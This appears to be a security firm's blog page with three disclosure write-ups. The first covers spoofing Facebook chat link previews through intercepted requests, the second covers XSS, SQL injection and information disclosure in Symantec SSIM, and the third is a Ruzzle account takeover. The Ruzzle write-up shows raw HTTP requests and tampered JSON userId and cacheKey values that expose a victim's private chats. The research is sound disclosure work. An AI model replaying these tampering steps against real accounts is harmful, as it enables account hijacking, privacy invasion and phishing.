Hacktive Security Blog

Facebook chat / dashboard content injection

I often wondered how link generation functionality is implemented by major social network applications and, more specifically, how the preview generation is developed.

Some time ago a friend of mine was spear-phished with a message through the Facebook chat, this happened before Facebook put in place the patch to allow the exchange of messages only between people connected as friends. While I was analyzing the message, I noticed that it looked like a legit message, with a link to a newspaper page, a title, body and image, but also with a pseudo-random generated domain like the killswitch domain used by WannaCry ransomware, written in a small gray text area below the description.

Crawling on Google I found out that someone already reported a similar finding to Facebook Security Team but it was not exactly the same issue that I discovered; they were just talking about the ability to to inject whatever URL inside opengraph tags. So I decided to go straight through that to figure out something more.

Analysis

The Facebook chat and board features implement a functionality to generate a preview box whenever someone write a full URL in a message; the Facebook crawler then will scan the target website, take some markup headers parameters like og:title og:description along with an icon of the page and returns a preview box. This is a part of the already known OpenGraph Markup Language, nothing new.

What I didn't expect is that the Facebook web application uses data that client sends to generate the URLs inside the generated preview box.

Video PoC

Getting hands dirty

Starting Burp Suite, a Web application security tool, i started to intercept all the traffic from and to the platform; we'll use repubblica.it as a target, an italian newspaper.

Note: I tested it out sending message to myself for not violating the whitehat disclosure rules.

undefined

Look at those URLs, what happens if we change them?

undefined

And after forwarding the message:

undefined

The original URL, the icon, title and body is taken directly from the repubblica.it website, except for that little grayed text below "google.it". When we click on it we will get:

undefined

Bullseye!

At this stage we know:

- The output URL is what we send from AJAX POST request

- URLs are not encoded

- Server does not validate if the input URL is the same that we typed it.

- Server does not validate if the result mismatch with our tampered request.

But we need to go a little further, in order to achieve a perfect, standalone Proof Of Concept we need to perform those actions at runtime, without interrupting outgoing HTTP requests and without using tools like Burp or OWASP ZAP.

Mitmproxy to the rescue!

Mitmproxy is basically a python software that acts as an HTTP proxy like BurpSuite but with the ability to change every aspect of an HTTP request or response at runtime; it can be even used as an interactive console to change/inspect HTTP requests. And that's exactly what we were looking for.

We wrote a small python script that takes everything we get from the POST request sent to /messaging/send endpoint and replace every original URL (www.repubblica.it) with our (www.voidzone.it) using a regular expression.

undefined

Since the server somehow does not like URL parameters I configured my website to perform a permanent redirect to a youtube video so no GET parameters are needed.

Next, we fire up our proxy

undefined

And just try to resend the same message:

undefined

And if we click it

undefined

Yeah you just got rick roll'd :)

Foot notes

Facebook security team is already aware of this issue and this is the response:

undefined

So they will consider it as "low-impact risk" and most probably they will not fix.

I'm trying to figure out why a content based social network like Facebook does not consider a content vulnerability like this, marking it as "low risk" even after I reported that someone is already using it to steal Facebook credentials.

Please note: this vulnerability has been found also on the Facebook dashboard section.
So what we learned from this, is that Facebook seems not to validate input URLs allowing every nasty user to tamper URL previews with arbitrary contents.

(Cristian)

Symantec Security Information Manager, multiple vulnerabilities (XSS, SQLi, Information Disclosure)

Hi there, we missed here for quite a while but one more time we are back with something (hopefully) interesting. In the past months we have worked together with Symantec vulnerability response team to address some critical issues that were afflicting the Symantec Security Information Manager. Our R&D Team discovered vulnerabilities consisting of XSS (both stored and reflected), Sql Injection and Information Disclosure, in the beginning of March 2013, SSIM versions 4.7.x and 4.8 resulted to be affected. Hacktive Security notified Symantec about the findings and started the process of Responsible Disclosure according to the following timeline:

  • March 6th, Hacktive Security R&D Team notified Symantec about the issues
  • March 6th, Symantec answered asking for some additional details about afflicted versions of SSIM
  • March 20th, Symantec verified and addressed the issues to developers for patching
  • May 3rd, Hacktive Security R&D Team 1st request for patch relase date
  • May 3rd, Symantec takes some more time for fixing.
  • June 22nd, Hacktive Security R&D Team warns Symantec about public Disclosure planned the end of the month
  • June 28th, Symantec updates, CVEs number assignment and relase date planned for new version of the SSIM planned on July 1st US Time.
  • July 1th, Symantec releases the security advisory and new SSIM version that fix the addressed vulnerabilities.
  • July 1th, Hacktive Security R&D Team disclose the research results.

Following a brief proof of concept of the issues: Java query editor of the SSIM resulted to be vulnerable to XSS attacks, a successful exploitation could possibly result in stealing user cookies or potentially leveraged to hijack an authorized user session. Hereafter an example of the injection on the query builder:

Query Builder Code Injection

Calling the malicious query through the interface triggers the attack, is also possible to "publish" the query so that other users can recall it, resulting in a stored XSS condition:

The SSIM console does not sufficiently sanitize authorized client queries made against the database. A malicious user who has or can gain authorized access to a valid account could potentially inject arbitrary SQL database queries through the _sql_ parameter in the api.jsp page in order to further compromise the database:

Furthermore, the SSIM console does not properly restrict queries to web-GUI APIs which could be manipulated to potentially disclose sensitive information to unauthorized network users. This information could possibly be leveraged in any follow-on attempts to further compromise the application or network. Tests have shown that calling api.jsp and requesting for statistics it was possible to display informations about implemented rules without performing any authentication:

Symantec has released the Security Advisory SYM13-006 that addresses the discussed vulnerabilities in the SSIM version 4.8.1.

Abusing Ruzzle protocol, privacy violation and more...

As we promised, we are back with something interesting:)

In the beginning of January 2013 we started a security research project focused on some of the most spreaded mobile applications and considering how popular Ruzzle became in the last months we could not take the app out from our targets. Hereafter we will discuss the results of our research about Ruzzle and the details of our finding, classifiable as a privacy violation issue.

When our team started analyzing the protocol behind Ruzzle they realized that every json response in session could be arbitrarily tampered without any server side check about what the application exchanged with the server. This kind of weakness is widely exploited in web application context to gain more privileges or to impersonate a different user within an authenticated session. The goal of our research was to obtain access as a different user (following we will refer to him as the victim) without authentication and perform actions as the victim. Ruzzle application protocol implements a chat feature that users can use to exchange messages with challenging friends. Results of our tests showed that a malicious user can obtain the full control over the victim's account, having access to the whole list of played games, current games, possibility to challenge other victim's friends and the most critical access to private messages exchanged with other users through the internal chat feature and the possibility to chat with those users as the victim.

A practical demonstration of the issue is described below:

Opening Ruzzle on a mobile device, the app perform the login process through a request using a classic HTTP POST method:

POST /api/user/login HTTP/1.1
Host: davincigameserver.appspot.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Content-Length: 222
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: Ruzzle/1.4.7 CFNetwork/609.1.4 Darwin/13.0.0

{"user":"userId":-1,"password":"51452b9113ac704754f6878544d938c8b2f4edd3", "useFacebookImage":"false","avatarId":0,"deviceId":"18:9E:BF:41:DD:65", "username":"******"},"locale":"en_US","version":"1.4.7","premium":"false"}

the POST above is the request originated by the client, containing the right parameters submitted through the application (in our case the login process is performed through the integration with the Facebook authentication). Here things become interesting! Intercepting and tampering the json response to this request, is enough to perform the trick, changing the value of the userId parameter indeed is the first step to get the full control over the victim's account.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 02 Jan 2013 08:37:33 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 257

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"*********","username":"*****"}

*To obtain the value of a userId is enough to intercept the regular traffic generated by Ruzzle while challenging the choosen victim.

We proceeded in tampering the value of the userId parameter with the one assigned to our victim:

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"tamperedId","username":"*****"}

Once done this, the last step is to tamper few other parameters inside of the refreshCache POST. The parameters that need to be tampered are the following cacheKey values:

  • listRequests_NNNNNNNNN
  • listInvites_NNNNNNNNN
  • listActiveGames_NNNNNNNNN
  • list_FinishedGames_NNNNNNNNN

The NNNNNNNNN represent the userId that in the POST originated by Ruzzle contains the legitimate value of the userId cached by the app. Submitting these cacheKey values tampered with the victim's userId in the numeric part after the underscore is the final step. The json response to this POST indeed loads into the Ruzzle app all data about the victim's account as briefly reported under.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 13 Mar 2013 11:39:05 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 44369

[…]

{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false","player1Score":"0", "player2Done":"false","player2Score":"0","round":"1","seed1":"1525374704","seed2":"816673570","seed3": "494846459"},{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false", "player1Score":"0","player2Done":"false","player2Score":"0","round":"2","seed1":"1159880445","seed2": "281586875","seed3":"645812112"}],"state":"1","type":"0"},{"userId":"0","cacheKey":"readGame_3100519240091618999","cacheTimestamp":"1363174744785", "chatConversation":{"userId":"0","conversationId":"1032368976","lastUpdated":"1363164721741", "messages":[{"message":"This is a private conversation","read":"true","sender":"*********","timeSent": "1363162097326"},{"message":"Are you sure? ","read":"true","sender":"*********","timeSent": "1363162140730"}]

[…]

 

At this point the Ruzzle client on the mobile device shows the victim's account, including the full history of current and finished games and for each of them is possible to access to detail page and to private messages exchanging/exchanged.

Home